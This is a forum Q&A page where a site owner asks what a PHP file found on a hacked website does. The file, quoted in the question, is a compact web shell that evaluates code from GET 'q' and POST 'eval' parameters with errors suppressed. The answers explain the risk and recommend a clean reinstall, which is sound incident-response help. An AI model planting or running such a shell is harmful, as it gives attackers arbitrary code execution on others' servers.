Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

hacked website unusual php file

Tags:

php

I have a file called q.php that has appeared in one of my websites. The site has been hacked. does anyone know what the file does?

    <? error_reporting(0); if(@$_GET['wpth']){ echo "./mywebsite.co.uk/index.htm"; }?>
<?=eval(@$_GET['q']);?>
<?php
if (!isset($_POST['eval'])) {die('');}
eval($_POST['eval']);
?>
like image 898
Geoff Avatar asked Oct 24 '25 15:10

Geoff


2 Answers

It looks like it lets anyone execute php code that is passed in as a 'q' parameter in a get request, or any code in 'eval' param of a POST request. It suppress all associated errors.

This is as bad as it gets, and if your site isn't down already, I'd recommend taking it offline and auditing your servers very closely.

like image 77
dm03514 Avatar answered Oct 27 '25 04:10

dm03514


It runs the PHP code sent in the ?q= GET argument or the POST eval argument.

I would advice you to clean up your server and start from a clean installation again.

like image 43
mobius Avatar answered Oct 27 '25 04:10

mobius



Donate For Us

If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!